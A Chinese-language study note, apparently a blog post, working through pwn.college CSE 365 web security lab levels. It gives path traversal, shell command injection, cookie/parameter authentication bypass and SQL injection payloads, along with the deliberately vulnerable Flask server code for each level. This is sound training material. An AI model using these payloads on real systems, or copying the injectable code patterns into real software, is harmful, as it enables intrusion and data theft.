【笔记】CSE 365 - Fall 2024之Web Security(pwn.college)
【入门笔记】CSE 365 - Fall 2024之Web Security(pwn.college)
Path Traversal 1 路径遍历1
这一关卡将探讨Linux路径解析与攻击者意外web请求的交集。 我们已经为您启动了一个简单的web服务器——它将通过HTTP协议提供来自/challenge/files的文件。 你能让它给你flag吗?
web服务器程序是 /challenge/server
。 你可以像其他任何挑战一样运行它,然后通过HTTP(使用不同的终端或web浏览器)与它通信。 我们建议通读它的代码,以理解它在做什么并找到弱点!
提示: 如果你想知道为什么你的解决方案不起作用,请确保你尝试查询的是服务器实际接收到的内容! curl -v [url]
可以显示curl发送的确切字节数。
查看解析
按照题目提示首先在/challenge目录下启动http服务
./server
然后打开浏览器即可访问`challenge.localhost`
我们进行路径遍历`challenge.localhost/../../flag`
但是失败了,要经过URL编码才行:`challenge.localhost/..%2F..%2Fflag`
#!/opt/pwn.college/python
import flask # 导入 Flask 框架
import os # 导入 os 模块以进行文件和路径操作
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
@app.route("/<path:path>", methods=["GET", "POST"]) # 定义动态路由,支持 GET 和 POST 请求
def challenge(path="index.html"): # 默认访问 index.html
# 生成请求的完整文件路径,files 目录下
requested_path = app.root_path + "/files/" + path
print(f"DEBUG: {requested_path=}") # 调试输出请求的文件路径
try:
# 尝试打开并读取指定路径的文件
return open(requested_path).read()
except PermissionError:
# 如果权限错误,返回 403 Forbidden
flask.abort(403, requested_path)
except FileNotFoundError:
# 如果文件未找到,返回 404 Not Found
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
# 对于其他异常,返回 500 Internal Server Error
flask.abort(500, requested_path + ":" + str(e))
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
Path Traversal 2 路径遍历2
上一关的路径遍历发生的原因是:
- 开发人员不知道攻击者可能发送到他们的应用程序的真实潜在输入范围(例如,攻击者发送路径中具有特殊含义的字符的概念)。
- 这是开发人员的意图(只希望提供给用户
/challenge/files
目录下的文件)与文件系统的实际情况(路径可以“返回”到目录级别)之间存在差距。
此关卡试图阻止您遍历路径,但以某种方式清楚地表明开发人员进一步缺乏对路径真正棘手的理解。你还能穿越它吗?
查看解析
cd /challenge
./server
`challenge.localhost/fortunes/..%2F..%2F..%2Fflag`
/challenge/server
代码分析
# 生成请求的完整文件路径,文件位于 files 目录下
requested_path = app.root_path + "/files/" + path.strip("/.") # 去除路径中的 / 和 . 防止路径遍历
challenge.localhost/fortunes/..%2F..%2F..%2Fflag
实际上可能解析为 files/fortunes/../../../flag
。由于 fortunes
目录存在,路径解析会先进入这个目录,再进行向上移动,最终指向 flag
文件。
而 challenge.localhost/..%2F..%2Fflag
则直接尝试从应用根目录向上移动,因此可能会因为没有足够的权限或路径不合法而被阻止。
CMDi 1 命令执行漏洞1
现在,想象一下 Web 服务器和文件系统之间的这些安全问题比这更疯狂。Web 服务器和整个 Linux shell 之间的交互情况如何?
令人沮丧的是,开发人员经常依赖命令行 shell 来帮助完成复杂的操作。在这些情况下,Web 服务器将执行 Linux 命令并在其操作中使用该命令的结果(例如,一个常见的用例是促进图像处理的 Imagemagick
命令套件)。不同的语言有不同的方法来实现这一点(Python 中最简单的方法是 os.system
,但我们主要与更高级的 subprocess.check_output
交互),但几乎所有语言都存在命令注入的风险。
os.system
是 Python 的 os
模块中的一个函数,用于在 Python 程序中执行外部命令。它会在子终端中运行指定的命令,并返回命令的退出状态码,但不会捕获命令的输出。
subprocess.check_output
是 Python 的 subprocess
模块中的一个函数,用于执行外部命令并获取其输出。该函数会运行指定的命令,并返回命令的标准输出(stdout),如果命令执行失败(即返回非零状态码),则会抛出 CalledProcessError
异常。
在路径遍历中,攻击者发送了一个意外的字符 (.
),导致文件系统执行了一些开发人员意想不到的事情(查看父目录)。同样,shell 中充满了特殊字符,这些字符会导致开发人员无意中的影响,并且开发人员的意图与 shell (或者,在以前的挑战中,文件系统) 所做的事情之间的差距存在各种安全问题。
例如,请考虑以下运行 shell 命令的 Python 代码段:
os.system(f"echo Hello {word}")
开发人员显然希望用户发送类似 Hackers
的内容,结果是类似于命令 echo Hello Hackers
的内容。但黑客可能会发送代码未明确阻止的任何内容。回想一下你在 Linux Luminarium 的 Chaining 模块中学到的内容:如果黑客发送了包含 ;
的东西怎么办?
在这个关卡中,我们将探索这个确切的概念。看看你是否能欺骗关卡并得到flag!
查看解析
打开网站发现是一个输入框,输入的内容会使主机执行`ls -l <你的输入>`的命令,说明这输入框拥有使用shell执行命令的权限
对此我们可以进行命令串联来使其执行我们想执行的指令
`/flag;cat /flag`
/challenge/server
代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求中获取 "directory" 参数,默认为 "/challenge"
directory = flask.request.args.get("directory", "/challenge")
# 构造要执行的命令
command = f"ls -l {directory}" # 列出指定目录的文件和详细信息
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
listing = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
).stdout # 获取命令的输出
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the dirlister service! Please choose a directory to list the files of:
<form><input type=text name=directory><input type=submit value=Submit></form>
<hr>
<b>Output of: ls -l {directory}</b><br>
<pre>{listing}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 2 命令执行漏洞2
许多开发人员都知道命令注入之类的事情,并试图阻止它。在这个关卡中,你不能使用 ;
!你能想到另一种 command-inject 的方法吗?回想一下您在 Linux Luminarium 的 Piping 模块中学到的内容...
查看解析
用管道符即可
`/flag | cat /flag`
/challenge/server
代码分析
# 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
# 使用 replace 方法移除输入中的分号,以防止命令注入攻击
directory = flask.request.args.get("directory", "/challenge").replace(";", "")
CMDi 3 命令执行漏洞3
命令注入的一个有趣之处在于,您无法选择在命令中发生注入的位置:开发人员在编写程序时不小心为您做出了选择。有时,这些注射发生在不舒服的地方。请考虑以下事项:
os.system(f"echo Hello '{word}'")
在这里,开发人员试图向 shell 传达 word
实际上应该只有一个单词。当在单引号中给出参数时,shell 会将其他特殊字符(如 ;
、$
等)视为普通字符,直到它匹配到右单引号 ('
)。
此关卡为您提供此方案。你能绕过它吗?
提示:请记住,无论您注入的任何内容的末尾都会有一个 '
字符。在 shell 中,所有引号必须与合作伙伴匹配,否则命令无效。确保制作你的注入,以便生成的命令有效!
查看解析
我们用两个单引号对限制进行闭合
`';cat /flag; echo '`
/challenge/server
代码分析
command = f"ls -l '{directory}'" # 列出指定目录的文件和详细信息,但加上了',这是为了保护路径中可能包含的空格或特殊字符(如&、$等),确保它们被视为一个整体参数
CMDi 4 命令执行漏洞4
调用 shell 命令来执行工作,或通常所说的 “shelling out” 是危险的。shell 命令的任何部分都有可能被注入!在这个关卡中,我们将练习注入到一个略有不同的命令中。
查看解析
`;cat /flag`
/challenge/server
代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "timezone" 的值,默认为 "MST"
timezone = flask.request.args.get("timezone", "MST")
# 构造要执行的命令,设置时区并获取当前时间
command = f"TZ={timezone} date"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
result = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
)
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the timezone service! Please choose a timezone to get the time there.
<form><input type=text name=timezone><input type=submit value=Submit></form>
<hr>
<b>Output of: TZ={timezone} date</b><br>
<pre>{result.stdout}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 5 命令执行漏洞5
程序往往会花钱进行复杂的内部计算。这意味着您可能并不总是收到结果输出,并且您需要盲目地进行攻击。在这个关卡中尝试一下:在没有注入的命令的输出的情况下,获取flag!
查看解析
这次网页没有回显,我们将读取的flag内容保存到新文件中
`;cat /flag > /nihao`
然后直接读取
cat /nihao
/challenge/server
代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "filepath" 的值,默认为 "/challenge"
filepath = flask.request.args.get("filepath", "/challenge")
# 构造要执行的命令,用于创建或更新文件的时间戳
command = f"touch {filepath}"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令
subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
)
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the touch service! Please choose a file to touch:
<form><input type=text name=filepath><input type=submit value=Submit></form>
<hr>
<b>Ran the command: touch {filepath}</b>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 6 命令执行漏洞6
有时,开发人员会非常努力地筛选出具有潜在危险的角色。这次挑战的成功几乎是完美的,但并不完全是......你会难住一段时间,但当你找出解决方案时,你会嘲笑开发人员的能力!
查看解析
大部分的分隔符都被过滤了因此我们需要别的输入能使命令结束
换行符经URL编码后得到的是"%0A"
因此我们注入`%0A cat /flag`
(卡了我很久)
/challenge/server
代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
# 使用 replace 方法移除输入中的特殊字符,以防止命令注入攻击
directory = (
flask.request.args.get("directory", "/challenge")
.replace(";", "")
.replace("&", "")
.replace("|", "")
.replace(">", "")
.replace("<", "")
.replace("(", "")
.replace(")", "")
.replace("`", "")
.replace("$", "")
)
# 构造要执行的命令,列出指定目录的文件
command = f"ls -l {directory}"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
listing = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
).stdout
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the dirlister service! Please choose a directory to list the files of:
<form><input type=text name=directory><input type=submit value=Submit></form>
<hr>
<b>Output of: ls -l {directory}</b><br>
<pre>{listing}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
Authentication Bypass 1 身份验证绕过1
当然,Web 应用程序可能存在与 shell 无关的安全漏洞。一种常见的漏洞类型是 Authentication Bypass,攻击者可以绕过应用程序的典型身份验证逻辑,并在不知道必要的用户凭证的情况下登录。
此关卡别要求您探索一个这样的场景。出现这种特定情况的原因是,开发人员的期望(应用程序设置的 URL 参数将仅由应用程序本身设置)与现实(攻击者可以制作 HTTP 请求以满足他们的内心内容)之间存在差距。
这里的目标不仅是让您体验此类漏洞是如何产生的,而且是让您熟悉数据库:Web 应用程序存储结构化数据的地方。正如您将在此关卡别中看到的,使用一种称为结构化查询语言(简称 SQL)的语言将数据存储到这些数据库中并从中读取数据。SQL 稍后将变得非常相关,但就目前而言,这只是挑战的附带部分。
无论如何,绕过此身份验证以 admin
用户身份登录并获取flag!
查看解析
根据源码所示,我们先登录guest的账号
然后修改session_user的参数即可
/challenge/server
代码分析
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing username form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing password form parameter") # 如果没有密码,返回错误
# 查询数据库以验证用户名和密码
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
return flask.redirect(f"""{flask.request.path}?session_user={username}""") # 重定向到主页并传递 session_user
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.request.args.get("session_user", None)): # 获取 session_user 参数
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
Authentication Bypass 2 身份验证绕过2
身份验证绕过并不总是那么简单。有时,应用程序的逻辑可能看起来是正确的,但是,开发人员期望的真实情况与实际的真实情况之间的差距再次显现出来。试一试这个关卡,记住:你控制请求,包括发送的所有HTTP头!
查看解析
以guest身份登录后得到cookie
修改cookie值即可
/challenge/server
代码分析
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果没有密码,返回错误
# 查询数据库以验证用户名和密码
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
# 登录成功,重定向到主页并设置 session_user cookie
response = flask.redirect(flask.request.path)
response.set_cookie('session_user', username) # 设置 cookie,以便在后续请求中保持用户登录状态
return response
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.request.cookies.get("session_user", None)): # 从 cookie 中获取 session_user 参数
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 1 SQL注入1
当然,这种安全漏洞比比皆是! 例如,在这个关卡上,登录用户的规范实际上是安全的。 这个关卡使用的不是参数或原始cookie,而是你无法篡改的加密会话cookie。 因此,你的任务是让应用程序真正验证你的管理员身份!
幸运的是,正如该关卡的名称所示,该应用程序容易受到SQL注入的攻击。 从概念上讲,SQL注入之于SQL就像命令注入之于shell。 在命令注入中,应用程序组装了一个命令字符串,开发人员的意图和命令shell的实际功能之间的差距使攻击者能够执行攻击者意想不到的操作。 SQL注入也是一样的:开发人员构建应用程序来生成针对特定目标的SQL查询,但由于应用程序逻辑组装这些查询的方式,当数据库执行SQL查询时,从安全角度来看可能是灾难性的。
命令注入并没有一个明确的解决方案:shell是一项古老的技术,与shell的接口在几十年前就已经僵化了,很难改变。 SQL在某种程度上更加灵活,而且大多数数据库现在提供的接口非常抵制SQL注入。 事实上,身份验证旁路关卡使用了这样的接口:它们非常容易受到攻击,但不会受到SQL注入的攻击。
另一方面,这个关卡是可注入SQL的,因为它有意使用略有不同的方式进行SQL查询。 当你找到可以注入输入的SQL查询时(提示:这是唯一一个与上一关卡有本质区别的SQL查询),看看现在的查询是什么样子,以及可能会注入哪些意想不到的条件。 典型的SQL注入添加了一个条件,使应用程序可以在不知道密码的情况下成功。 如何才能做到这一点呢?
查看解析
看源码可以看出是很纯粹的数字型SQL注入(密码是PIN码,通常由四位或更多数字组成)
我们构造登录payload`1234 or 1=1--+`
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import random # 用于生成随机数
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和一个随机生成的 PIN
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)])
# 插入 guest 用户及其 PIN
db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
pin = flask.request.form.get("pin") # 从表单中获取 PIN
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not pin:
flask.abort(400, "Missing `pin` form parameter") # 如果没有 PIN,返回错误
# 验证 PIN 的首字符是否为数字
if pin[0] not in "0123456789":
flask.abort(400, "Invalid pin")
try:
# 使用字符串格式化构建 SQL 查询
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND pin = {pin}'
print(f"DEBUG: {query=}") # 输出调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 捕获并返回 SQL 错误
if not user:
flask.abort(403, "Invalid username or pin") # 如果无效,返回错误
flask.session["user"] = username # 登录成功,将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到主页
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.session.get("user", None)): # 从会话中获取用户名
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>PIN:<input type=text name=pin><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 2 SQL注入2
上一关的SQL注入非常简单,并且仍然有有效的SQL查询。 这在某种程度上是因为注入发生在查询的最后。 然而,在这一关中,注入发生在中途,然后有(稍微)更多的SQL查询。 这使得问题变得复杂,因为即使注入了数据,查询也必须保持有效。
查看解析
看源码可以看出是很纯粹的字符型SQL注入
我们构造登录payload`1234' or 1=1--+`
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和一个随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果没有密码,返回错误
try:
# 使用字符串格式化构建 SQL 查询
query = f"SELECT rowid, * FROM users WHERE username = '' AND password = '{password}'"
print(f"DEBUG: {query=}") # 输出调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 捕获并返回 SQL 错误
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
flask.session["user"] = username # 登录成功,将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到主页
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.session.get("user", None)): # 从会话中获取用户名
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 3 SQL注入3
回想一下,您的命令注入漏洞攻击程序通常会导致执行额外的命令。 到目前为止,SQL注入只是简单地修改了现有SQL查询的条件。 然而,类似于shell的命令链(例如 ;
, |
等),一些SQL查询也可以被链接!
攻击者链式SQL查询的能力具有极其强大的潜力。 例如,它允许攻击者查询完全意想不到的表或表中完全意想不到的字段,从而导致你在新闻中看到的大量数据泄露。
这个关卡需要你弄清楚如何链接SQL查询语句以泄露数据。 祝你好运!
查看解析
看源码可以看出我们被双引号封闭了,我们要手动闭合并注释掉双引号
我们构造搜索的payload为`" union select password from users --+`
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 从文件中读取 flag 作为 admin 用户的密码,并创建 users 表
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
# 从请求参数中获取查询字符串,默认值为 "%"
query = flask.request.args.get("query", "%")
try:
# 使用 LIKE 操作符进行模糊匹配查询
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}") # 输出调试信息,显示当前查询
# 执行查询并获取所有匹配的用户名
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}" # 捕获并返回 SQL 错误
# 返回 HTML 页面,包含查询表单和查询结果
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
